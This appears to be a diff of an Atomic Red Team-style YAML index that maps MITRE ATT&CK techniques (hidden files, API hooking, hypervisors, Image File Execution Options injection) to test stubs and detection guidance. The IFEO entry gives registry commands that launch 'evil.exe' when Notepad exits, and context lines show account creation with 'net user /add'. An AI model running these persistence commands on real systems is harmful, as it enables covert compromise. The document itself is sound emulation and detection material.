identifier: T1136 atomic_tests: - name: Create a user account on a Linux system @@ -1035,81 +1094,68 @@ persistence: net user /add #{username} T1158: technique: + id: attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Hidden Files and Directories - description: "To prevent normal users from accidentally changing special files - on a system, most operating systems have the concept of a ‘hidden’ file. These - files don’t show up when a user browses the file system with a GUI or when - using normal commands on the command line. Users must explicitly ask to show - the hidden files either via a series of Graphical User Interface (GUI) prompts - or with command line switches (dir /a for Windows and ls - –a for Linux and macOS).\n\n===Windows===\n\nUsers can mark specific - files as hidden by using the attrib.exe binary. Simply do attrib +h - filename to mark a file or folder as hidden. Similarly, the “+s” marks - a file as a system file and the “+r” flag marks the file as read only. Like - most windows binaries, the attrib.exe binary provides the ability to apply - these changes recursively “/S”.\n\n===Linux/Mac===\n\nUsers can mark specific - files as hidden simply by putting a “.” as the first character in the file - or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac - Malware). Files and folder that start with a period, ‘.’, are by default hidden - from being viewed in the Finder application and standard command-line utilities - like “ls”. Users must specifically change settings to have these files viewable. - For command line usages, there is typically a flag to see all files (including - hidden ones). To view these files in the Finder Application, the following - command must be executed: defaults write com.apple.finder AppleShowAllFiles - YES, and then relaunch the Finder Application.\n\n===Mac===\n\nFiles - on macOS can be marked with the UF_HIDDEN flag which prevents them from being - seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: - WireLurker).\nMany applications create these hidden files and folders to store - information so that it doesn’t clutter up the user’s workspace. For example, - SSH utilities create a .ssh folder that’s hidden and contains the user’s known - hosts and keys. \n\nAdversaries can use this to their advantage to hide files - and folders anywhere on the system for persistence and evading a typical user - or system analysis that does not incorporate investigation of hidden files.\n\nDetection: - Monitor the file system and shell commands for files being created with a - leading \".\" and the Windows command-line use of attrib.exe to add the hidden - attribute.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, - Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Host - forensic analysis\n\nPermissions Required: User" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: persistence + description: |- + To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS). + + Adversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files. + + ### Windows + + Users can mark specific files as hidden by using the attrib.exe binary. Simply do attrib +h filename to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”. + + ### Linux/Mac + + Users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: defaults write com.apple.finder AppleShowAllFiles YES, and then relaunch the Finder Application. + + ### Mac + + Files on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). + Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys. external_references: - - url: https://attack.mitre.org/wiki/Technique/T1158 + - external_id: T1158 + url: https://attack.mitre.org/techniques/T1158 source_name: mitre-attack - external_id: T1158 - - description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). + - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ + description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. source_name: Sofacy Komplex Trojan - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ - - description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated + - url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ + description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017. source_name: Antiquated Mac Malware - url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ - - description: 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. + - url: https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf + description: 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.' source_name: WireLurker - url: https://www.paloaltonetworks.com/content/dam/pan/en%20US/assets/pdf/reports/Unit%2042/unit42-wirelurker.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - File monitoring - - Process Monitoring + - Process monitoring - Process command-line parameters + x_mitre_detection: Monitor the file system and shell commands for files being + created with a leading "." and the Windows command-line use of attrib.exe + to add the hidden attribute. x_mitre_defense_bypassed: - Host forensic analysis x_mitre_permissions_required: - User - id: attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Linux + - macOS + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: persistence + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1158 atomic_tests: - name: Create a hidden file in a hidden directory @@ -1308,120 +1354,115 @@ persistence: ls -Recurse | %{ gi $_.Fullname -stream *} | where stream -ne ':$Data' | Select-Object pschildname T1179: technique: + id: attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Hooking description: |- Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. Hooking involves redirecting calls to these functions and can be implemented via: - * '''Hooks procedures''', which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Engame Process Injection July 2017) - * '''Import address table (IAT) hooking''', which use modifications to a process’s IAT, where pointers to imported API functions are stored. (Citation: Engame Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015) - * '''Inline hooking''', which overwrites the first bytes in an API function to redirect code flow. (Citation: Engame Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015) - - Similar to Process Injection, adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use. - - Malicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) - - Hooking is commonly utilized by Rootkits to conceal files, - processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits) - - Detection: Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017) - - Rootkits detectors (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity. - Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014) - - Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. + * **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Endgame Process Injection July 2017) + * **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored. (Citation: Endgame Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015) + * **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. (Citation: Endgame Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015) - Platforms: Windows + Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use. - Data Sources: API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process Monitoring, Windows event logs + Malicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) - Permissions Required: Administrator, SYSTEM - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: credential-access - - kill_chain_name: mitre-attack - phase_name: persistence - - kill_chain_name: mitre-attack - phase_name: privilege-escalation + Hooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits) external_references: - - url: https://attack.mitre.org/wiki/Technique/T1179 + - external_id: T1179 + url: https://attack.mitre.org/techniques/T1179 source_name: mitre-attack - external_id: T1179 - - description: Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017. - source_name: Microsoft Hook Overview - url: https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx - - description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: - A Technical Survey Of Common And Trending Process Injection Techniques. - Retrieved December 7, 2017.' - source_name: Engame Process Injection July 2017 - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - - description: 'Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. + - url: https://www.adlice.com/userland-rootkits-part-1-iat-hooks/ + description: 'Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.' source_name: Adlice Software IAT Hooks Oct 2014 - url: https://www.adlice.com/userland-rootkits-part-1-iat-hooks/ - - description: 'Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User + - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process + description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: + A Technical Survey Of Common And Trending Process Injection Techniques. + Retrieved December 7, 2017.' + source_name: Endgame Process Injection July 2017 + - url: https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/ + description: 'Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense + against user-land. Retrieved December 12, 2017.' + source_name: EyeofRa Detecting Hooking June 2017 + - url: http://www.gmer.net/ + description: GMER. (n.d.). GMER. Retrieved December 12, 2017. + source_name: GMER Rootkits + - url: https://www.exploit-db.com/docs/17802.pdf + description: Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved + December 12, 2017. + source_name: HighTech Bridge Inline Hooking Sept 2011 + - url: https://github.com/jay/gethooks + description: Satiro, J. (2011, September 14). GetHooks. Retrieved December + 12, 2017. + source_name: Jay GetHooks Sept 2011 + - url: https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/ + description: 'Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.' source_name: MWRInfoSecurity Dynamic Hooking 2015 - url: https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/ - - description: Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved + - url: https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx + description: Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017. + source_name: Microsoft Hook Overview + - url: https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx + description: Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017. - source_name: HighTech Bridge Inline Hooking Sept 2011 - url: https://www.exploit-db.com/docs/17802.pdf + source_name: Microsoft Process Snapshot - description: Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017. source_name: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017 - - description: Symantec. (n.d.). Windows Rootkit Overview. Retrieved December + - url: https://github.com/prekageo/winhook + description: Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017. + source_name: PreKageo Winhook Jul 2011 + - url: https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis + description: Stack Exchange - Security. (2012, July 31). What are the methods + to find hooked functions and APIs?. Retrieved December 12, 2017. + source_name: StackExchange Hooks Jul 2012 + - url: https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf + description: Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017. source_name: Symantec Windows Rootkits - url: https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf - - description: Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware + - url: https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html + description: Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017. source_name: Volatility Detecting Hooks Sept 2012 - url: https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html - - description: Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017. - source_name: PreKageo Winhook Jul 2011 - url: https://github.com/prekageo/winhook - - description: Satiro, J. (2011, September 14). GetHooks. Retrieved December - 12, 2017. - source_name: Jay GetHooks Sept 2011 - url: https://github.com/jay/gethooks - - description: Felici, M. (2006, December 6). Any application-defined hook procedure + - url: https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/ + description: Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017. source_name: Zairon Hooking Dec 2006 - url: https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/ - - description: 'Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense - against user-land. Retrieved December 12, 2017.' - source_name: EyeofRa Detecting Hooking June 2017 - url: https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/ - - description: GMER. (n.d.). GMER. Retrieved December 12, 2017. - source_name: GMER Rootkits - url: http://www.gmer.net/ - - description: Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved - December 12, 2017. - source_name: Microsoft Process Snapshot - url: https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx - - description: Stack Exchange - Security. (2012, July 31). What are the methods - to find hooked functions and APIs?. Retrieved December 12, 2017. - source_name: StackExchange Hooks Jul 2012 - url: https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2018-01-16T16:13:52.465Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - API monitoring - Binary file metadata - DLL monitoring - Loaded DLLs - - Process Monitoring + - Process monitoring - Windows event logs + x_mitre_detection: |- + Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017) + + Rootkits detectors (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity. + + Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014) + + Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. x_mitre_permissions_required: - Administrator - SYSTEM - id: attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: persistence + kill_chain_name: mitre-attack + - phase_name: privilege-escalation + kill_chain_name: mitre-attack + - phase_name: credential-access + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2018-01-16T16:13:52.465Z' identifier: T1179 atomic_tests: - name: Hook PowerShell TLS Encrypt/Decrypt Messages @@ -1446,53 +1487,60 @@ persistence: curl #{server_name} T1062: technique: + id: attack-pattern--4be89c7c-ace6-4876-9377-c8d54cef3d63 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Hypervisor - description: |- - A type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with Rootkit functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption. - - Detection: Type-1 hypervisors may be detected by performing timing analysis. Hypervisors emulate certain CPU instructions that would normally be executed by the hardware. If an instruction takes orders of magnitude longer to execute than normal on a system that should not contain a hypervisor, one may be present. (Citation: virtualization.info 2006) - - Platforms: Windows - - Data Sources: System calls - - Permissions Required: Administrator, SYSTEM - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: persistence + description: 'A type-1 hypervisor is a software layer that sits between the + guest operating systems and system''s hardware. (Citation: Wikipedia Hypervisor) + It presents a virtual running environment to an operating system. An example + of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor + operates at a level below the operating system and could be designed with + [Rootkit](https://attack.mitre.org/techniques/T1014) functionality to hide + its existence from the guest operating system. (Citation: Myers 2007) A malicious + hypervisor of this nature could be used to persist on systems through interruption.' external_references: - - url: https://attack.mitre.org/wiki/Technique/T1062 + - external_id: T1062 + url: https://attack.mitre.org/techniques/T1062 source_name: mitre-attack - external_id: T1062 - - description: Wikipedia. (2016, May 23). Hypervisor. Retrieved June 11, 2016. - source_name: Wikipedia Hypervisor - url: https://en.wikipedia.org/wiki/Hypervisor - - description: Xen. (n.d.). In Wikipedia. Retrieved November 13, 2014. + - external_id: CAPEC-552 + url: https://capec.mitre.org/data/definitions/552.html + source_name: capec + - url: http://en.wikipedia.org/wiki/Xen + description: Xen. (n.d.). In Wikipedia. Retrieved November 13, 2014. source_name: Wikipedia Xen - url: http://en.wikipedia.org/wiki/Xen - - description: Myers, M., and Youndt, S. (2007). An Introduction to Hardware-Assisted + - url: http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf + description: Myers, M., and Youndt, S. (2007). An Introduction to Hardware-Assisted Virtual Machine (HVM) Rootkits. Retrieved November 13, 2014. source_name: Myers 2007 - url: http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf - - description: virtualization.info. (Interviewer) & Liguori, A. (Interviewee). + - url: http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html + description: virtualization.info. (Interviewer) & Liguori, A. (Interviewee). (2006, August 11). Debunking Blue Pill myth [Interview transcript]. Retrieved November 13, 2014. source_name: virtualization.info 2006 - url: http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html + - url: https://en.wikipedia.org/wiki/Hypervisor + description: Wikipedia. (2016, May 23). Hypervisor. Retrieved June 11, 2016. + source_name: Wikipedia Hypervisor object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:50.958Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - System calls + x_mitre_detection: 'Type-1 hypervisors may be detected by performing timing + analysis. Hypervisors emulate certain CPU instructions that would normally + be executed by the hardware. If an instruction takes orders of magnitude longer + to execute than normal on a system that should not contain a hypervisor, one + may be present. (Citation: virtualization.info 2006)' x_mitre_permissions_required: - Administrator - SYSTEM - id: attack-pattern--4be89c7c-ace6-4876-9377-c8d54cef3d63 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: persistence + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:50.958Z' identifier: T1062 atomic_tests: - name: Installing Hyper-V Feature @@ -1523,73 +1571,88 @@ persistence: New-VM -Name #{vm_name} -MemoryStartupBytes 1GB -NewVHDPath #{file_location} -NewVHDSizeBytes 21474836480 T1183: technique: + id: attack-pattern--62166220-e498-410f-a90a-19d4339d4e99 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Image File Execution Options Injection description: |- - Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, any executable file present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\dbg\ntsd.exe -g notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010) - - IFEOs can be set directly via the Registry or in Global Flags via the Gflags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger Values in the Registry under HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options/ and HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ where is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010) - - Similar to Process Injection, this value can be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Engame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation. + Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\dbg\ntsd.exe -g notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010) - Malware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008) + IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ where is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010) - Detection: Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010) + IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) - Monitor the IFEOs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Engame Process Injection July 2017) + An example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018) - Platforms: Windows + * reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512 + * reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1 + * reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe" - Data Sources: Process Monitoring, Windows Registry, Windows event logs + Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Endgame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation. - Permissions Required: Administrator, SYSTEM - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: persistence - - kill_chain_name: mitre-attack - phase_name: privilege-escalation + Malware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008) external_references: - - url: https://attack.mitre.org/wiki/Technique/T1183 + - external_id: T1183 + url: https://attack.mitre.org/techniques/T1183 source_name: mitre-attack - external_id: T1183 - - description: Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). + - url: https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/ + description: Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017. source_name: Microsoft Dev Blog IFEO Mar 2010 - url: https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/ - - description: Microsoft. (2017, May 23). GFlags Overview. Retrieved December + - url: https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview + description: Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017. source_name: Microsoft GFlags Mar 2017 - url: https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview - - description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: - A Technical Survey Of Common And Trending Process Injection Techniques. - Retrieved December 7, 2017.' - source_name: Engame Process Injection July 2017 - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - - description: FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. + - url: https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml + description: FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017. source_name: FSecure Hupigon - url: https://www.f-secure.com/v-descs/backdoor%20w32%20hupigon%20emv.shtml - - description: Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December + - url: https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2 + description: Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017. source_name: Symantec Ushedix June 2008 - url: https://www.symantec.com/security%20response/writeup.jsp?docid=2008-062807-2501-99&tabid=2 + - url: https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit + description: Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent + Process Exit. Retrieved June 27, 2018. + source_name: Microsoft Silent Process Exit NOV 2017 + - url: https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/ + description: Moe, O. (2018, April 10). Persistence using GlobalFlags in Image + File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018. + source_name: Oddvar Moe IFEO APR 2018 + - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process + description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: + A Technical Survey Of Common And Trending Process Injection Techniques. + Retrieved December 7, 2017.' + source_name: Endgame Process Injection July 2017 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2018-01-16T16:13:52.465Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Oddvar Moe, @oddvarmoe x_mitre_data_sources: - - Process Monitoring + - Process monitoring - Windows Registry - Windows event logs + x_mitre_defense_bypassed: + - Autoruns Analysis + x_mitre_detection: |- + Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010) + + Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are 